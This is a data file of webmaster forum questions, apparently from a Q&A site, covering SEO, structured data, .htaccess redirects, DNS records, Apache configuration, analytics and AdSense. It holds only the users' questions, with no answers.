{"id":"58668","title":"Star rating not showing in rich snippets","text":"We've recently been doing a lot of work on our site's SEO (`www.betterthanreviews.com`). We recently did a push to update the rich snippets breadcrumb, meta description, and star rating. After giving Google some time to index the site, it has updated the breadcrumbs and meta descriptions for our review pages, but the stars are still not showing. This is currently how it appears on a Google search (link to the actual page: `http:\/\/www.betterthanreviews.com\/home- security\/livewatch`):  This is what the Rich Snippets is supposed to look like, and how it appears in Google's testing tool:  More context: As seen in our html, we are using schema.org language. We initially were using _schema.org\/Corporation_ for the site, but we now have the page labeled as _schema.org\/HomeAndConstructionBusiness_ because Google will not show star ratings for the Corporation language. However, in our Webmaster Tools, the Structured Data is still showing the Corporation language, which could be a potential issue. Here is a look at some of the coding that we used. But it can be looked at closer by inspecting the element: <div class=\"aggregate-rating\" itemprop=\"aggregateRating\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/AggregateRating\"> <div class=\"review row_fluid\" itemprop=\"review\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/Review\"> <div class=\"row_fluid rating\" itemprop=\"reviewRating\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/Rating\"> <meta content=\"4.5\" itemprop=\"ratingValue\" title=\"4.5 out of 5 stars\" class=\"star-rating-readonly\"> <meta content=\"2013-12-05\" itemprop=\"datePublished\"> <p class=\"review-headline\" itemprop=\"headline\">Way better than my previous system<\/p> <div> <p class=\"reviewer\" itemprop=\"author\">Scott H. <\/p> <span class=\"bullet\">•<\/span> <p class=\"created_at\">2 months ago<\/p> <p class=\"content\" itemprop=\"description\">I love it! The experience I have had so far is extremely positive. I had another alarm system before and I didn't like it but this one is really nice. I am telling everybody about it.<\/p> <\/div> <\/div> Any suggestions for how to fix this?"}
{"id":"67941","title":"Redundant Hosting and duplicate content's effect on SEO","text":"My Company is currently in the early planning phases of a project where we are playing with the idea of hosting our web project on multiple continents. The idea is to push local users to the closest server possible to decrease loading times. This will likely involve mirroring the web project across each server. Thats cool and not our dilemma at the moment - remember we are in the planning\/design phase. The concern which was brought up yesterday (and caused myself and acouple others to lose sleep) is the SEO effect of hosting on multiple servers. What our fear is, is that with say 3 servers running in 3 different continents we are going to have duplicate content on each of those 3 servers. Now we can use url canonicalization to go from domain.com www.domain.com so search engines view the url as a single url and everything resolves to the same url (good for SEO). But what we wont be able to do that any of us can foresee is IP canonicalization to tell search engines that all three instances are all the same site possibly confusing SEs on which url is the correct one to index (or so our worry is). In the experience of other webmasters is there a correct way to go about this? Has in any of your past experiences has running multiple instances of a website in this manner negatively effected your SEO efforts? If yes do you guys have any ideas on how to minimize the potential of pages not being indexed by going this route? I know its a pretty small part of the ranking algorithms but it is enough that we want to have this planned out as best as we can especially considering the scale of the project."}
{"id":"65254","title":"google webmaster tools, site maps and indexing, number of pages indexed reduces with no new sitemap","text":"It seems to take two weeks ish to get updates on to the google index, which seems fair enough as I imagine googles index of the whole internet could be rather large. However, the some changes to my sitemaps don't seem to be being picked up, and today noticed that indexed pages had gone done. The current status shows 118 pages indexed, however two days ago was at 119 with no changes to sitemap : "}
{"id":"56866","title":"Load Wikipedia sourced biographies via Ajax or render it with the rest of the page as part of the initial request?","text":"Apparently Google Search ranks pages with unique content higher than pages that have content that is originally from somewhere else (e.g. 'Wikipedia'). In a web site I am building, I show some specific information about different influential people. Each person's page also includes an abstract about that person which is sourced from Wikipedia, as well as a read more link to the original Wikipedia article. In order to improve ranking of these pages, is it better to render this information inline so it is indexible by Google, or is it better to load it via Ajax, hence not visible to Google bots?"}
{"id":"50183","title":"A safe way to allow upload of all file types?","text":"By default WordPress restricts the file types that can be uploaded to `\/uploads` using the default Media Manager. I know it is possible to manually extend the allowed file types. I also know it is possible to change `functions.php` to allow all file types to be uploaded. This restriction obviously exists for security concerns - e.g. someone could upload a harmful `.exe`. Would it not be possible to allow secure upload of all filetypes by setting the permissions of the `\/uploads` directory to prevent execution of any of its contents? Thus it wouldn't matter if someone uploaded a harmful file because it would not be executable on the server..."}
{"id":"9991","title":"Which CMS is this (from screenshot)?","text":"Does anyone know what CMS this is? Thanks!! "}
{"id":"9992","title":"Illegal iphone app for website","text":"I have a web site and someone had made an iphone app for my site without my permission and selling it. He is using my API without getting permission. How can i report this to Apple? EDIT: AFAIK, there's no way to report this to Apple. I blocked all requests from the iphone app."}
{"id":"9995","title":"Gzip compress offline?","text":"I've configured my site to serve compressed content by putting this line in .htaccess AddOutputFilterByType DEFLATE text\/html text\/plain text\/xml text\/javascript text\/css application\/javascript application\/json This works perfectly for almost all files except a few large JSON files that are above 200Kb. For some reason they are not being compressed. I see that they don't using the net tab in firebug and the Network section in chrome. So as a workaround I thought I could compress these files offline and have Apache read them compressed. What tool should I use to compress them? is the linux gzip the one? any special flags or something I should use? What should I put in .htaccess so that the server would know to serve these files with content-encoding gzip ?"}
{"id":"48641","title":"duplicate meta description even though link is removed?","text":"I thought this was just webmaster taking it time to catch up but it has been there for weeks now and webmaster crawled as recently as 16th May. I am being advised in HTML improvements the below but I changed the URL on the page from: `\/catalog\/plant\/concrete-preparation\/` to `\/catalog\/tools\/concrete-preparation\/` So I cannot see why it is still alerting me? _Pages with duplicate meta descriptions_ www.contractorshire.co.uk\/catalog\/ **plant** \/concrete-preparation\/ www.contractorshire.co.uk\/catalog\/ **tools** \/concrete-preparation\/"}
{"id":"43892","title":"Single-page-apps and alternate \/ canonical URLs for mobile websites","text":"I have a \"normal\" website and I am currently developing a mobile version of the site. Because of the complexity of the shown information, I am using a separate domain (mysite.mobi) and no responsive solution. The site is built as a single-page-app using jQuery mobile. The main workflow is that I am using a custom parameter attached to my main file (mysite.mobi\/index.htm#forecast?location_id=1234). It will then fire an AJAX-request and fetch the content corresponding to the forecast for the location_id 1234. The desktop website URL would be something like mysite.com\/forecast\/1234. Now I am thinking about how to get my mobile search results displayed in Google searches. According to their recommendations, I should use a `link rel=alternate` tag in the main page and add a `link rel=canonical` tag to the mobile site. There is the problem - as I am using a single page webapp, I only have a single crawlable file on my mobile domain where I could add this tag. However I can not get this tag to reflect the correct location on my main site. What are the best practices for using a single-page-app and canonical URLs?"}
{"id":"14514","title":"best way to import 500MB csv file into mysql database?","text":"I have a 500MB csv file that needs to be imported into my mysql database. I've made a php file where i can upload the csv file and it analyses the fields n stuff and does the actual importing. but it can only handle small fiels max 5mb. so that's a 100 files and actually pretty slow(uploading) is there another way? I have to repeat this process every month because the data in the file changes every month it's about 12 000 000 lines :D"}
{"id":"28237","title":"Why are new pages not being indexed and old pages stay in the index?","text":"I currently have a site that was recently restructured, causing much of its content to be reposted, creating new URL's for each page. To avoid duplicates, all of the existing pages were added to the robots file. That said, it has now been over a week - I know Google has recrawled the site - and when I search for term X, it is stil the old page that is ranking, with the new one nowhere to be seen. I'm assuming it's a cached version, but why are so many of the old pages still appearing in the index? Furthermore, all \"tags\" pages (it's a Q&A site, like this one) were also added to the robots a few months ago, yet I think they are all still appearing in the index. Anyone got any ideas about why this is happening, and how I can get my new pages indexed?"}
{"id":"64658","title":"Is doing A\/B tests using site redirection a bad practice?","text":"I'm developing hotels websites here in Brazil. When the site is done, we do an A\/B test with the old version to measure conversion and show to the hotel owner how good our site is. Due to the fact that I cannot put the old site inside the new one as a sub- resource (`newone.com\/old`), currently I'm doing those A\/B tests as follows: 1. I create 2 Google Analytics accounts, one for each site (old and new); 2. I put the GA tags in the old website pages (changing its possibly existent GA ID to the just created one); 3. I put an JavaScript code that redirects the user to the old website (in a different URL and different domain) with 50% of probability. So I compare all the metrics, events and goals between those two GA accounts. How bad is this approach? How Google can interpret the fact of being sometimes redirected, sometimes not? The experiment usually runs for 2 weeks. Is there any other alternative for doing this in a better way?"}
{"id":"29900","title":"tool for google adsense account analysis (app)","text":"does any one know of a tool to analyse my google adsense traffic \/ clicks ... preferably a desktop solution... Something which provides more advanced and easy analysis reporting solutions then adsense thanks"}
{"id":"11039","title":"mod_rewrite with Apache -> mod_jk -> tomcat","text":"Related to some of my earlier questions. I now have a setup I quite like; Apache httpd listening on port 80 accepting http and https connections. Several Tomcat instances running on several AJP ports. Mod_Jk is sending different url requests to different tomcat instances; www.mydomain.com\/demo -> tomcat:8101 www.mydomain.com\/test -> tomcat:8102 www.mydomain.com\/ -> tomcat:8100 This is achieved with the following config in httpd.conf (or included sub files); LoadModule jk_module modules\/mod_jk.so JkWorkersFile conf\/workers.properties JkLogFile logs\/mod_jk.log JkLogLevel info NameVirtualHost *:80 <VirtualHost *:80> JkMount \/demo* demoTomcat (workers.properties not shown) JkMount \/test* testTomcat JkMount \/* rootTomcat <\/VirtualHost> And this all works great. I also have SSL setup and running for https connections using a similar VirtualHost tag; <VirtualHost _default_:443> JkMount \/demo* demoTomcat JkMount \/test* testTomcat JkMount \/* rootTomcat ... SSL Stuff follows .... What I'm now having trouble is that my SSL Cert is only for www.mydomain.com and NOT mydomain.com. I've been advised to use the follow mod_rewrite calls; Options +FollowSymlinks LoadModule rewrite_module modules\/mod_rewrite.so RewriteEngine On RewriteCond %{HTTP_HOST} !^(www\\.|$) [NC] RewriteRule ^ http:\/\/www.%{HTTP_HOST}%{REQUEST_URI} [PT,L] I've placed these before before and after the mod_jk rules in the httpd.conf file. Apache was at first complaining that RewriteEngine was an invalid command, but that went away when I remembered the LoadModule command first :) Now Apache restarts just fine, the server starts and accepts requests and everything works the way it use to ... but thats just it, these mod_rewrite commands appear to have no effect? I type `http:\/\/mydomain.com` into the browser and I just get my website as per normal. The url does not appear to change to `http:\/\/www.mydomain.com` and when I start to access the secured areas I get warnings that `mydomain.com` is NOT secured and is serving me a cert from some other website called `www.mydomain.com` (why this is an issue at all and it can't just use some logic to realise its the same site, I don't know!). Am I placing the mod_rewrite rules in the wrong place? I've read that it should work, the rewrites should change the url to www. and then pass through to the mod_jk stuff for anything further?"}
{"id":"38177","title":"using .htaccess to redirect .asp to .php?","text":"Ahoy all! I've been racking my brain with this one. I basically just converted all of my pages from ASP code to PHP code. Kept the same filenames. So, here is the htaccess code I have so far, but it keeps redirecting to my ROOT.... ie \/home\/accountname\/publc_html... What am I doing wrong? RewriteRule (.*)\\.asp $1.php [R=301]"}
{"id":"28729","title":"Bounce rate issues","text":"I currently have a site which shows the best uk speaker deals and I am having bounce rate problems. The site simply allows the user to search for the best deals and then go to the provider’s site (this is a non profit site). What I didn’t anticipate is that people are going straight to the deal details from Google (organic) and missing out the listing pages. The users then either go off to the deals or bounce. Either way my bounce rate is quite high at 54% and my event tracking says 25% of people are clicking on my ‘go to deal’ button (example). Overall I wish to lower my bounce rate so that Google doesn’t think my site is bad and hopefully make a more pleasant experience for my users. Questions: 1. Do you think the site\/ user would benefit from a page in-between the link button and the provider’s page. This would say something on the lines of “you will now be transferred to the providers site in 5 seconds”. This therefore warms up the user to the new website and cancels out the bounce. 2. Given that I have an Analytics Event on each ‘go to deal’ button, will Google recognise this and not consider it a bounce? 3. Should I put less emphasis on the ‘go to deal’ button and more availability to go to other products on the site. 4. Is the page taking too long to load therefore the analytics code doesn’t register? Home of the website - http:\/\/www.soundplaza.co.uk Thanks"}
{"id":"37870","title":"Is it a good idea to add robots \"noindex\" meta tags to deep low content pages, e.g. product model data","text":"I'm considering adding robots \"noindex, follow\" tags to the very numerous product data pages that are linked from the product style pages in our online store. For example, each product style has a page with full text content on the product: http:\/\/www.shop.example\/Product\/Category\/Style\/SOME-STYLE-CODE Then many data pages with technical data for each model code is linked from the product style page. http:\/\/www.shop.example\/Product\/Category\/Style\/SOME-STYLE-CODE-1 http:\/\/www.shop.example\/Product\/Category\/Style\/SOME-STYLE-CODE-2 http:\/\/www.shop.example\/Product\/Category\/Style\/SOME-STYLE-CODE-3 It is these technical data pages that I intend to add the no index code to, as I imagine that this might stop these pages from cannibalizing keyword authority for more important content rich pages on the site. Any advice appreciated."}
{"id":"19882","title":"Procedure to register an URL","text":"this is a newbie question. I want to set-up a web site (let call it www.mywebsite.com) on a server I own with a public IP address: 1. What is the precise procedure to register the URL? What I mean is, how to tell the world that requests to www.mywebsite.com should come to my server? 2. Is this a free procedure? 3. I guess I cannot use any name for my URL. What are the rules? Thanks."}
{"id":"47782","title":"Soft 404 error on redirected outbound links","text":"I have a redirect script on my site which sends visitors to an affiliate site. However in the last month I've noticed that Google webmaster tools is reporting my outbound links as a 404 error. Here is the breakdown on how its setup: My outbound links are coded like this: <a href=\"\/f\/c123\" rel=\"nofollow\" target=\"_blank\">Link Title<\/a> My redirect script will then perform a 302 redirect to the affiliate link Originally I had the affiliate links (CJ) directly in the HTML, however I noticed over time that this had some impact on my sites traffic. So I changed them to a redirect script and my traffic returned. This seemed to work with no issues for over 1 year but now I'm getting soft 404 errors in Google webmaster tools. I did try adding a rule in my robots.txt to block any links starting with \/f\/ but I'm not sure if this will help or Google will still report soft 404 errors. I am considering as possible options to change the **a** tag to a **button** tag and use an onclick event to load the link."}
{"id":"21339","title":"htaccess block access to directory but allow access to files","text":"I need to block directory access but allow access to files if typed into a browser. Also would like this to load my custom 403.shtml"}
{"id":"1391","title":"Is it possible to check Page Rank of a site without the Google toolbar?","text":"I am just getting started in SEO, and I want to check the Page Rank of one of my sites. All google docs say to use their toolbar to check Page Rank. However I'm using Chromium. I _could_ check with Firefox, but I'm curious if there's a way to check the page rank without using it. I see many sites for checking it, but they all seem a little spammy."}
{"id":"38179","title":"What is the feature that imports URL information into Facebook and Google+?","text":"I want to be able to import a heading, short description, and an image into my website, just using a link. I am using Joomla but can switch to any CMS, or try to build an extension myself. The problem is, I don't know where to look for example code, or what to look for. To me it doesn't seem like too difficult a process. Also, the code must be out there, with a little tweaking I can probably use someone else's, but I don't even know what to search for."}
{"id":"68931","title":"Adding Microdata to a website of company listings","text":"Let's say you have a website that is akin to the YellowPages. It is a listing of lots of other companies. Should you place microdata about each company on each company listing page? Or should you just put Microdata about the \"Yellow Pages\"? For example: http:\/\/www.lots-o-companies.com\/supplier\/joes-florists Do I put all the Microdata on the page to be about Joe's Florists, or the parent website, Lots O' Companies? I'm not quite sure how Google wants this data? On a site level, or a page content level?"}
{"id":"56989","title":"How do my A records have to look like - are these correct?","text":"I'm using some fictional IP addresses here, but the problem is real. My default A Record: * # this is for anysubdomain.example.com, I suppose @ # and this is for example.com www # this is for www.example.com There are also these entries. What do they do in this context? My MX records are elsewhere. mail webmail pop smtp Now I'd like to point to my own server. Let's say that my IP is `1.2.3.4` I would then write: * 1.2.3.4 @ 1.2.3.4 www 1.2.3.4 Is that correct? I read something about `* IN A 1.2.3.4` - what's that notation? Assuming my application runs on `1.2.3.4:80`, everything should be fine, right? I am new to the A records concept and I'd like to ask before changing and deconstructing my system."}
{"id":"43200","title":"Joomla 2.5 - Password to backend lost","text":"Can I recover the backend password for Joomla 2.5?"}
{"id":"43206","title":"Can I put AdSense in a site that was refused before?","text":"I have a blog in Arabic. I collect English blog posts, translate them and re- post them with a link to the source. I applied for an AdSense account and my site was refused. The question is, can I put AdSense code in this same site from a friend's account? If I did so, will AdSense close my friend's account?"}
{"id":"19885","title":"Switching off IE8 Compatibility View","text":"I have a site which works fine when accessed from a remote web server. It runs (on IE8, which is what my organisation uses) with: * Browser mode: Internet Explorer 8 * Document mode: Internet Explorer 8 Standards However, when I open the same site from `localhost`, using the same browser, I get: * Browser mode: Internet Explorer 8 Compatibility View * Document mode: Internet Explorer 7 Standards With the tag `<meta http-equiv=\"X-UA-Compatible\" content=\"IE=8\" \/>`, I can fix the document mode to IE8. However I can't lose the Compatibility View - and this is causing some aspects of my site to break (specifically, some AJAX functionality). Do you have any idea (a) why IE8 is rendering my site in Compatibility View from `localhost` when it renders normally on a remote server, and (b) how to prevent\/circumvent this problem? Thank you."}
{"id":"50537","title":"Forward a 'non-existant' subdomain to a 'physical' subdomain","text":"How can I forward a 'non-existant' subdomain to a 'physical' subdomain? I.e.: `api.website.com` -> `api.company.com` Where the first is just a CNAME pointer and the last is a real subdomain with a root. At `website.com` I have: api CNAME api.company.com. At `company.com` I have: api.website.com CNAME api.company.com (also tried this with just API) api.company.com A 1.2.3.4"}
{"id":"50986","title":"Should the most important page for SEO be my homepage?","text":"I have a website that over time has accumulated a few hundred links, mainly on the homepage. It markets an iPhone app and we didn't optimize it for SEO. Recently, we launched a more professional tool on the site for businesses, where SEO is critical. That other page is better optimized and starts to rank better but has a lot less external links than the homepage (less than 10 root domains point to that other page, even though it gets internal links from almost all pages on my site). Do you think I should move that page to my homepage to rank better?"}
{"id":"19164","title":"How is github so fast?","text":"When you browse repositories on github ( for example https:\/\/github.com\/mojombo\/jekyll\/tree\/master\/bin) it feels like it uses ajax and does not reload the whole page every time. However the url really changes (not just after the # ). I already found this article where they write about their backend: https:\/\/github.com\/blog\/530-how-we-made-github-fast But is this really the whole trick? My pages never feel that fast and I am already using yslow to optimize it."}
{"id":"22062","title":"web designer question - How to create a dynamic paragraph or any text in an html file?","text":"web designer question - How to create a dynamic paragraph or any text in an html file? I mean the < p>If I want to change this text portion< \/p> I am a web designer who just know, html, css, adobe dreamweaver, photo shop and corel draw."}
{"id":"55868","title":"Google Analytics: Value ecommerce transaction value","text":"I have problem with the ecommerce goals in google universal analytics. I would like to set up a URL goal to signal the completion of an e-commerce transaction. So the manual says that I have to leave the Goal Value field blank. But I can´t! It says that I have to put a number. So if a set this field to \"No\" it doesn´t takes any value from ecommerce tracking and if I try to set up this field to \"Yes\", I have to put a value and it doesn't take the value from ecommerce neither... Is it possible that this variable value option is not well implemented in Universal?? I'm stuck!"}
{"id":"11357","title":"Magento checkout with Paypal","text":"I've setup paypal on Configuration > Sales > Paypal a thousand times, but still not getting the Paypal option listed in the Payment methods on the Checkout process. And yes, I have filled out all the required info like the API credentials and such. Also, I'm not getting any errors from Magento at all. This is driving me crazy and it seems that no one (as far as I see) has gone throught this situation. Thanks in advance."}
{"id":"11354","title":"What is the online survey\/feedback widget that looks like \"[+]\" (a crosshair) in the bottom right","text":"I'm trying to setup a site rating survey so marketing in my company can gather feedback information about a site. I've seen before large companies using a tool which puts a small animated crosshair in the bottom right of the screen [+]. what on earth is this company called? multiple searches don't seem to bring it up!"}
{"id":"55009","title":"Discrepancies between visits recorded in analytics and clicks reported in AdWords","text":"According to analytics, there were only 730 visits on the page. According to AdWords, there were about 1200 clicks on the ad. How can I track what is going on? Shouldn't I have the same number of visits and clicks?"}
{"id":"51589","title":"Any good reason to noindex \/page\/2\/ in archives?","text":"In the Wordpress SEO plugin by Yoast, there is an option that could noindex the subpages of archives. From example, it would noindex the following: http:\/\/mysite.com\/page\/2\/ http:\/\/mysite.com\/page\/3\/ http:\/\/mysite.com\/page\/4\/ ...and so on. Is there a good and legitimate reason to do this, in terms of SEO? Would it benefit me in any way?"}
{"id":"48595","title":"Would including some of the same words in every product URL be considered keyword stuffing?","text":"I have about 130 products on my site, and I want the URL to look like this `example.com\/unique-product-name-ratings-reviews-prices`. Since I have 130 of these pages, I am concerned about the (ratings-reviews- prices) portion of the URL, and afraid it may look like keyword stuffing, though the page will contain info about all 3 of those things."}
{"id":"51584","title":"AWStats Temp File Write Permissions Issue","text":"I'm having an issue with AWStats updating its temporary database. I have the call to update the reporting database every hour through launchd, which runs as root. The perl scripts are called, and nothing gets updated. Troubleshooting demonstrated the following warning: > Warning: Failed to rename \"\/tmp\/awstats082013.food.tmp.1641\" into > \"\/tmp\/awstats082013.food.txt\". Write permissions on \"awstats082013.food.txt\" > might be wrong or file might be opened. The permissions on that file is 777. The permissions on \/tmp are also 777. Why AWStats cannot modify that file is really the question. I can do this manually using sudo, but the bash script that is run hourly by launchd shouldn't have to take the sudo -A, nor does it work. Any advice as to how I can push through this, is appreciated."}
{"id":"51585","title":"Textarea tags and SEO","text":"On my site, I want to give the user the ability to copy the code for our little support badge, and then paste it onto their site\/blog. I'm accomplishing this by adding `<textarea><\/textarea>` tags in a widget in the sidebar, and the code for the badge is in between the tags. Would this affect my SEO in any way, since it's just a snippet of HTML coding that is visible, and not real content?"}
{"id":"31262","title":"Rewriting URL to get Wordpress \"permalink\" type URL","text":"I have created an ASP.NET site to replace a WordPress site that creates permalinks in the format: http:\/\/example.com\/the-name-of-my-post I would like these URLs redirected to: http:\/\/example.com\/Default.aspx#&&the-name-of-my-post ...which is what the ScriptManager generates at runtime. The WordPress site was around for about 2 years so there are lots of bookmarks and references to these \"permalinks\" on the search engines etc. Are there any modules I have to include in my website to get this to work? Is there any configuration that I have to ask my hosting company to make so that this works?"}
{"id":"60321","title":"How to recover after malicious code removal?","text":"I just removed some malicious code from one of my client's website's theme. It was a result of a pirated theme the client was using and had ignored some hidden code with hyperlinks to betting sites. According to my knowledge I can not do much but to wait for the pages to be crawled again and the change be noticed. Am I right with this assumption or is there any action that webmasters can take in this kind of situations?"}
{"id":"35463","title":"SEO: Best Title for the Car Repair company (Toyota, Nissan, Mazda, Honda)","text":"What would be the best Title for the home page for the following situation? Company name: SuperCompany Professional area: car repair service, specialize in 4 brands: Toyota, Nissan, Mazda, Honda. Our current variant: “SuperCompany – Best car repair service | Toyota | Nissan | Mazda | Honda\""}
{"id":"47302","title":"Domain migration and duplicate content\/index issue","text":"I have a `website.net` which I want to 301 redirect to `website.com` and I also want to change URL structure on some pages on the new `.com` site. Problem is that `.com` is currently set as _Website Alias_ of `.net` version, which means that there are same pages indexed in Google from both domains. I could 301 `.net` to `.com` and then after a while 301 new URLs on `.com` and update old `.net` redirects at the same time but that would take too long time, given I would have to wait in between for Google to update everything. Is there a better and faster solution to this, which is still in line with Google recommendations when migrating domains?"}
{"id":"51634","title":"Google news sitemap to many URLs","text":"I created a Google news sitemap a while ago then about 6 months ago limited it to about 15 news items. The trouble is it seems Google has indexed over a 1000 items and is complaining the sitemap has to many URLs when if you go to the sitemap it doesn't, just 15, any ideas? Have resubmitted the sitemap and says it was last processed yesterday."}
{"id":"23811","title":"DNS configuration on website makes it available only some of the time","text":"The DNS configuration on my website is periodically dropping visitors and I have no idea why. Most of my website's visitors are seeing it fine, but in the last weeks more and more visitors report that the website isn't loading for them, like the website is down. My website is `www.2mp3.co.il` which points to `ns1.hosty.co.il` and `ns2.hosty.co.il` (that I've pointed to 109.236.84.71 and 109.236.84.74, and additionally configured it to itself as `ns1\/2.hosty.co.il`) My server is working with DirectAdmin and centOS - in the DA the NS records for the hosty.co.il domain points to ns1\/2.worldstream.nl What could the problem be?"}
{"id":"27124","title":"How to restrict site access to all countries except mine with .htaccess?","text":"I used this tool to download list in \" **.htaccess allow** \" format to allow traffic from my country and restrict all others but it's still accessible when visiting from bunch of foreign proxies. I'm restricting access to my home dev server where i certainly don't need traffic from China, Uganda, Russia and other countries i found while inspecting Apache logs. Apparently, this format doesn't seem to work: <Limit GET POST> order deny,allow allow from 37.18.184.0\/22 allow from 37.18.188.0\/22 allow from 37.19.104.0\/22 allow from 37.19.108.0\/22 allow from 37.35.8.0\/22 allow from 37.35.12.0\/22 allow from 37.35.64.0\/22 allow from 37.35.68.0\/22 allow from 37.77.168.0\/22 allow from 37.77.172.0\/22 deny from all <\/Limit>"}
{"id":"65666","title":"Google not indexing video from video sitemap","text":"I run a website serving video content. I run my own player.  I have added Google’s structured markup to the video tags.  Here’s the link to test a page. I also have the sitemap pointing to a video sitemap xml  But for some reason Google is not picking up these pages as video  Just two of them are mapped as video of the 115 submitted. **What could be the reason here?** The video recipes are duplicated in another sitemap but I don’t think that’s the reason. Note: _You'll also see it's the same with images_."}
{"id":"4714","title":"Are SEO and SEM click through rates correlated?","text":"If not, why; and how would you estimate click throw rates for a SERP?"}
{"id":"25142","title":"Best and safest SEO way to hide h1 tags","text":"I want to use images that I created in PS for page titles. Because they will be images they will not be picked up by Google, etc. What is the best practice for hiding the `<h1>`? I was planning on setting the `<h1>` visibility to hidden. Is this ok to do? **update** I want to hide `<h1>` tag behind header image. I read how to do it if I just link an image (fine). My header is a little different. I have a background image taking up the whole header div. On top of that I have a flash file playing (mostly transparent) with some star burst effects. I want this to be SEO friendly."}
{"id":"25411","title":"Measuring the page load time","text":"Can anyone provide an overview of what the steps are to create a tool such a Pingdom's page load time tool? I see a lot of these out there that do essentially the same thing, but I am not sure how to go about creating a tool to do this"}
{"id":"65203","title":"What is Google's policy about separate content on same URLs in mobile and desktop versions?","text":"I'm currently developing a mobile version of my site where users' devices are automatically identified and then displayed either mobile or desktop view of the same URL. For usability purposes, I would like to display different information on certain URLs in mobile than desktop. For example, I'd prefer the content to be straight on first page on mobile, whereas my desktop root domain is a landing page. * How will such arrangement affect Google's opinions about my site? * Is is hurtful for my rankings? * Or does Google separate desktop and mobile results?"}
{"id":"4716","title":"Determine what percentage of visitors to my site leave without taking a certain on-page action","text":"On Rap Genius you can click the orange lyrics to read pop-up explanations:  However, I'm sure some visitors don't know that the orange lyrics are clickable. I'd like to figure out **what percentage of visitors to song pages on Rap Genius do not click a single orange lyric before leaving** Right now I fire a Google Analytics event whenever someone opens an explanation, but I don't know how to use this data to answer my underlying question."}
{"id":"31931","title":"Prevent .htaccess 301 redirects on subdomain","text":"I have 301 redirects which direct `\/index.html` to `\/site` folder and when I created a subdomain it also redirects the link to `\/site` which causes `404 Not Found`. For example: `members.mysite.com` redirects to `members.mysite\/site` which causes 404 error can I add execption for specific forlder or something without changing the redirect. .htaccess content: AddType text\/x-server-parsed-html .htm .html RedirectMatch 301 ^\/index.html(.*)$ \/site$1"}
{"id":"53986","title":"SEO-friendly masthead with a hidden <h1> and <h2>","text":"I have built a website and the masthead uses an SVG that contains the site title, logo and support graphics. The masthead still contains the logo as an inline image, and `<h1>`, `<h2>` tags. However the logo and header tags are all hidden using CSS in favour of the masthead graphic. The HTML shown below may not have been uploaded to the website at the time of writing this question, just in case you're wondering why the source code of the URL is different. But that's what it will look like. Does this affect SEO? As the HTML does match the masthead content and doesn't contain spam or fake keywords. It also matches the page title in the browser window. <div class=\"masthead-inner container\"> <a class=\"logo hidden\" href=\"<?php echo $appurl; ?>\" title=\"All Together\"><img src=\"<?php echo $appurl; ?>img\/logo2.png\" alt=\"All Together logo\"><\/a> <h1 class=\"hidden\">All Together - Work Placement Software<\/h1> <h2 class=\"hidden\">Online software for efficient placement management<\/h2> <\/div>"}
{"id":"13620","title":"Getting 403 Forbidden after changing webroot","text":"I am running Ubuntu with Apache (LAMP stack). When I changed the webroot from \/var\/www to \/media\/data\/www, I keep getting 403 Forbidden even after `chmod- ing` the directory + files to 777. What did I do wrong? Also referencing \/var\/www, I noticed that the directory + files are owned by `root` should that be the case? Shouldn't it be `www-root`? Also if its root, will apache not be able to access it? I noticed that I am getting errors like > [Wed May 11 11:53:40 2011] [crit] [client 127.0.0.1] (13)Permission denied: > \/media\/data\/.htaccess pcfg_openfile: unable to check htaccess file, ensure > it is readable but thing is, my web root is `\/media\/data\/jm\/www`"}
{"id":"56204","title":"Removing items from a sitemap","text":"I'm having a problem removing some unwanted links from my sitemap. The hierarchy which we have in the sitemap is incorrect. I don't want that be like that. Is there any way which I can change it? Please refer to the below screenshot. I want to remove the highlighted items from the current sitemap. "}
{"id":"35946","title":"Flash Twitter and Facebook widgets","text":"I'm stuck with a crappy digital signage platform that only renders `.html` and `.swf` files (and RSS feeds). No customization of RSS, only way to show something dynamic in a pretty way is to use Flash. The question: is there any way to embed JavaScript in `.swf` files or somehow have Facebook and Twitter Flash plugins? I looked for ready-made `.swf` widgets for the job but didn't find any, if there is **_any_** Flash widget that serves a Facebook and\/or Twitter feed please give me a link."}
{"id":"65585","title":"Are CloudFlare or Google Analytics visitor numbers more appropriate to report to advertisers?","text":"I've read Analytics: CloudFlare vs Google - What discrepancy is too big? but still can't put together an answer that the CEO of any company would accept. The numbers in CloudFlare analytics are much larger than those reported by Google Analytics. If a website needs to give numbers to advertisers, should GA be used considering the JS involved is more close to the Google DFP way of thinking rather than the CF way? Should I give them the CF stats and when they question the discrepancy in numbers between what Google DFP says and CF says, tell them what CF says about their analytics?"}
{"id":"56209","title":"How does Google consider internal linking with navigation?","text":"We are currently discussing tweaking our website's navigation in an effort to optimize the flow of page rank via internal links. I am a web dev in a team of 3, with an SEO guy and a copywriting guy. Currently our main navigation consists of a single tier dropdown menu, which matches the architecture of our site exactly (besides one or two second tier pages). As a result every page effectively links to every other page, all of the time, via the navigation. I was under the impression that Google, and other search engines, would see that this is a navigational element that appears in every single page, in exactly the same way, and not spread link juice in the way that internal links in the content would. However we are talking about only having the nav menu just be single links, with no dropdown menu, just linking to the initial sections, which in turn have a sidebar nav menu that links to all the sub pages, which appear relative to the section you are in. Would this have an actual effect on link juice 'flow' or not? This is just something I am curious about in order to broaden my knowledge on SEO and how the search engines view our pages."}
{"id":"19832","title":"FFmpeg & Installation on phpmyadmin","text":"I am attempting to have an interface in which people can upload music files and listen to them through the site. The biggest problem obviously is that someone who uploads an audio track in mp3 format into Mozilla wouldn't be able to play it back (since MF doesn't support mp3 playback since I'm using jPlayer). I did some research and found out that I could use command line php using FFmpeg to convert the mp3 to ogg or some other supportable format. I believe I understand (a little bit) how command line php works but I was wondering how I could install it onto phpmyadmin on my hosting service? Could anyone link me to a tutorial or care to explain? I tried googling it but I just couldn't find it."}
{"id":"7831","title":"Moving from one DNS provider to another","text":"I had registered with a particular DNS provider X and I have been unhappy with their services and now when the time for renewal came, I did not renew and I let it expire. I am hoping that once it is expired from this provider, I would be able to sign up for the same domain name from an alternative provider which I have tested and I am satisfied. What kind of precautions should I take? The domain name is not a critical one, it is of a NGO and we prefer to own it again without any change in the name. The information given by the expiry notice says Domains can be renewed between 90 days before and 14 days after the expiry date. If domains are not renewed they will be removed from the account and set for deletion. Should I wait for time till gets _deleted_ at their end so that I can sign up for the same from another provider?"}
